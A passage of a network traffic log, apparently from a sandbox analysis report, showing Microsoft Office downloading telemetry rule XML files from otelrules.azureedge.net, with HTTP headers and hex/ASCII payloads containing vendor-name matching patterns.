22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:04 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:04 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:04 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 360ad152-001e-0079-6bbd-2a12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061504Z-17c5cb586f6p5pndayxh2uxv5400000000tg000000005x4s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:04 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:04 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:04 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 78a5d0bc-501e-005b-6da6-26d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061504Z-16849878b78fhxrnedubv5byks00000007b000000000p0hn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:04 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:05 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cfe50472-201e-00aa-2cfd-263928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061505Z-17c5cb586f6fqqst87nqkbsx1c00000007h000000000d8zd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:05 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 338c7fbe-d01e-0028-7d3c-287896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061505Z-15b8d89586fqj7k5h9gbd8vs980000000a8000000000bz5b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:05 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:05 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 23aa8b33-901e-00ac-7615-2bb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061505Z-15b8d89586fbmg6qpd9yf8zhm00000000460000000000krp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:05 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:05 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:05 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 1abafd92-601e-0070-072b-27a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061505Z-16849878b78x6gn56mgecg60qc0000000ay0000000009a9e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:05 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.4	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:05 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:05 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 03fc6633-801e-0048-4d87-29f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061505Z-17c5cb586f6tg7hbbt0rp19dan00000001dg000000007gns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:05 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:06 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:06 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:06 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: bb81791c-801e-00ac-6687-29fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061506Z-17c5cb586f6ks725u50g36qts800000001a0000000001927 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:06 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:06 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:06 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 546431bf-201e-0085-0b72-2734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061506Z-15b8d89586fzhrwgk23ex2bvhw0000000c1000000000dguy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:06 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:06 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:06 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f6d28dea-a01e-0002-4ae8-285074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061506Z-15b8d89586f989rkwt13xern5400000004eg000000004kky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:06 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	49793	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:06 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:06 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:06 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: fa11464d-701e-0032-1f49-27a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061506Z-16849878b787bfsh7zgp804my400000007yg0000000075zd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:06 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49794	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:07 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:07 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: b9cb9fa3-701e-005c-6994-2abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061507Z-16849878b78qg9mlz11wgn0wcc00000008t0000000003nhd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
